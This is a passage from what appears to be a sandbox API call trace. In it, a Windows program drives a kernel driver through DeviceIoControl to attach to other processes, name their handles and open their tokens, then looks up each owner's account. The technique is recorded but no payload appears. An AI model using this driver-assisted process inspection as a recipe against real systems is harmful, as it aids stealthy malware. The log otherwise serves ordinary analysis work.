ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000508) returned 0x0 [0132.710] ObfDereferenceObject (Object=0xfffffa800204e730) returned 0x1 [0132.710] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.710] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.710] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.710] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0132.710] PsLookupProcessByProcessId (in: ProcessId=0x220, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.710] PsAcquireProcessExitSynchronization () returned 0x0 [0132.710] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff880050005d0) [0132.710] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800205dbb0, HandleInformation=0x0) returned 0x0 [0132.710] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.710] PsReleaseProcessExitSynchronization () returned 0x2 [0132.710] ObfDereferenceObject (Object=0xfffffa8001fc6060) returned 0x10 [0132.710] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0132.710] ObfDereferenceObject (Object=0xfffffa800205dbb0) returned 0x1 [0132.710] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.710] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.710] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.710] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.710] PsLookupProcessByProcessId (in: ProcessId=0x220, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.710] PsAcquireProcessExitSynchronization () returned 0x0 [0132.710] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff880050005d0) [0132.710] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.710] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.711] PsReleaseProcessExitSynchronization () returned 0x2 [0132.711] ObfDereferenceObject (Object=0xfffffa8001fc6060) returned 0x10 [0132.711] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0132.711] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.711] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.711] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.711] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x248) returned 0xc0 [0132.711] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.711] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8002065b30, HandleInformation=0x0) returned 0x0 [0132.711] ObOpenObjectByPointer (in: Object=0xfffffa8002065b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800008bc) returned 0x0 [0132.711] ObfDereferenceObject (Object=0xfffffa8002065b30) returned 0x12 [0132.711] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800008bc, DesiredAccess=0x8, TokenHandle=0xfffffa80089f71c0 | out: TokenHandle=0xfffffa80089f71c0*=0xc8) returned 0x0 [0132.711] ZwClose (Handle=0xffffffff800008bc) returned 0x0 [0132.711] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.711] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.711] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.712] CloseHandle (hObject=0xc8) returned 1 [0132.712] CloseHandle (hObject=0xc0) returned 1 [0132.712] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.712] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0132.713] PsLookupProcessByProcessId (in: ProcessId=0x248, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.713] PsAcquireProcessExitSynchronization () returned 0x0 [0132.713] KeStackAttachProcess (in: PROCESS=0xfffffa8002065b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002065b30, ApcState=0xfffff880050005d0) [0132.713] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800206eea0, HandleInformation=0x0) returned 0x0 [0132.713] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.713] PsReleaseProcessExitSynchronization () returned 0x2 [0132.713] ObfDereferenceObject (Object=0xfffffa8002065b30) returned 0x10 [0132.713] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.713] ObfDereferenceObject (Object=0xfffffa800206eea0) returned 0x1 [0132.713] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.713] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.713] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.713] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0132.713] PsLookupProcessByProcessId (in: ProcessId=0x248, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.713] PsAcquireProcessExitSynchronization () returned 0x0 [0132.713] KeStackAttachProcess (in: PROCESS=0xfffffa8002065b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002065b30, ApcState=0xfffff880050005d0) [0132.713] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800206e2b0, HandleInformation=0x0) returned 0x0 [0132.713] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.713] PsReleaseProcessExitSynchronization () returned 0x2 [0132.713] ObfDereferenceObject (Object=0xfffffa8002065b30) returned 0x10 [0132.713] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.713] ObfDereferenceObject (Object=0xfffffa800206e2b0) returned 0x1 [0132.713] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.713] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.713] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.713] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.713] PsLookupProcessByProcessId (in: ProcessId=0x248, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.713] PsAcquireProcessExitSynchronization () returned 0x0 [0132.713] KeStackAttachProcess (in: PROCESS=0xfffffa8002065b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002065b30, ApcState=0xfffff880050005d0) [0132.713] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.714] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.714] PsReleaseProcessExitSynchronization () returned 0x2 [0132.714] ObfDereferenceObject (Object=0xfffffa8002065b30) returned 0x10 [0132.714] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.714] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.714] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.714] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.714] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x80c) returned 0xc0 [0132.714] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.714] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa800208e520, HandleInformation=0x0) returned 0x0 [0132.714] ObOpenObjectByPointer (in: Object=0xfffffa800208e520, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800008bc) returned 0x0 [0132.714] ObfDereferenceObject (Object=0xfffffa800208e520) returned 0x12 [0132.714] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800008bc, DesiredAccess=0x8, TokenHandle=0xfffffa80089f71c0 | out: TokenHandle=0xfffffa80089f71c0*=0xc8) returned 0x0 [0132.714] ZwClose (Handle=0xffffffff800008bc) returned 0x0 [0132.714] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.714] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.714] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.715] CloseHandle (hObject=0xc8) returned 1 [0132.715] CloseHandle (hObject=0xc0) returned 1 [0132.715] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.716] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0132.716] PsLookupProcessByProcessId (in: ProcessId=0x80c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.716] PsAcquireProcessExitSynchronization () returned 0x0 [0132.716] KeStackAttachProcess (in: PROCESS=0xfffffa800208e520, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800208e520, ApcState=0xfffff880050005d0) [0132.716] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800208edc0, HandleInformation=0x0) returned 0x0 [0132.716] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.716] PsReleaseProcessExitSynchronization () returned 0x2 [0132.716] ObfDereferenceObject (Object=0xfffffa800208e520) returned 0x10 [0132.716] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.716] ObfDereferenceObject (Object=0xfffffa800208edc0) returned 0x1 [0132.716] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.716] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.716] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.716] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0132.716] PsLookupProcessByProcessId (in: ProcessId=0x80c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.716] PsAcquireProcessExitSynchronization () returned 0x0 [0132.716] KeStackAttachProcess (in: PROCESS=0xfffffa800208e520, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800208e520, ApcState=0xfffff880050005d0) [0132.716] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020927e0, HandleInformation=0x0) returned 0x0 [0132.716] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.716] PsReleaseProcessExitSynchronization () returned 0x2 [0132.716] ObfDereferenceObject (Object=0xfffffa800208e520) returned 0x10 [0132.716] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.716] ObfDereferenceObject (Object=0xfffffa80020927e0) returned 0x1 [0132.716] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.716] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.716] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.716] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.716] PsLookupProcessByProcessId (in: ProcessId=0x80c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.716] PsAcquireProcessExitSynchronization () returned 0x0 [0132.716] KeStackAttachProcess (in: PROCESS=0xfffffa800208e520, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800208e520, ApcState=0xfffff880050005d0) [0132.716] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.717] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.717] PsReleaseProcessExitSynchronization () returned 0x2 [0132.717] ObfDereferenceObject (Object=0xfffffa800208e520) returned 0x10 [0132.717] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a75044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a75044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.717] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.717] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.717] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.717] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x81c) returned 0xc0 [0132.717] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.717] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa80020a3b30, HandleInformation=0x0) returned 0x0 [0132.717] ObOpenObjectByPointer (in: Object=0xfffffa80020a3b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800008bc) returned 0x0 [0132.717] ObfDereferenceObject (Object=0xfffffa80020a3b30) returned 0x12 [0132.717] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800008bc, DesiredAccess=0x8, TokenHandle=0xfffffa80089f71c0 | out: TokenHandle=0xfffffa80089f71c0*=0xc8) returned 0x0 [0132.717] ZwClose (Handle=0xffffffff800008bc) returned 0x0 [0132.717] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.717] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.717] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.718] CloseHandle (hObject=0xc8) returned 1 [0132.718] CloseHandle (hObject=0xc0) returned 1 [0132.718] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.719] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0132.719] PsLookupProcessByProcessId (in: ProcessId=0x81c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.719] PsAcquireProcessExitSynchronization () returned 0x0 [0132.719] KeStackAttachProcess (in: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff880050005d0) [0132.719] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020a2f20, HandleInformation=0x0) returned 0x0 [0132.719] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.719] PsReleaseProcessExitSynchronization () returned 0x2 [0132.719] ObfDereferenceObject (Object=0xfffffa80020a3b30) returned 0x10 [0132.719] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800226b044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800226b044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.719] ObfDereferenceObject (Object=0xfffffa80020a2f20) returned 0x1 [0132.719] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.719] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.719] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.719] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0132.719] PsLookupProcessByProcessId (in: ProcessId=0x81c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.719] PsAcquireProcessExitSynchronization () returned 0x0 [0132.719] KeStackAttachProcess (in: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff880050005d0) [0132.719] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020a5430, HandleInformation=0x0) returned 0x0 [0132.719] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.719] PsReleaseProcessExitSynchronization () returned 0x2 [0132.719] ObfDereferenceObject (Object=0xfffffa80020a3b30) returned 0x10 [0132.719] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.719] ObfDereferenceObject (Object=0xfffffa80020a5430) returned 0x1 [0132.719] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.719] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.719] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.719] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.719] PsLookupProcessByProcessId (in: ProcessId=0x81c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.719] PsAcquireProcessExitSynchronization () returned 0x0 [0132.719] KeStackAttachProcess (in: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff880050005d0) [0132.720] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.720] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.720] PsReleaseProcessExitSynchronization () returned 0x2 [0132.720] ObfDereferenceObject (Object=0xfffffa80020a3b30) returned 0x10 [0132.720] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002512544, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002512544, ReturnLength=0xfffff88005000550) returned 0x0 [0132.720] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.720] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.720] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.720] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x82c) returned 0xc0 [0132.720] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.720] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: 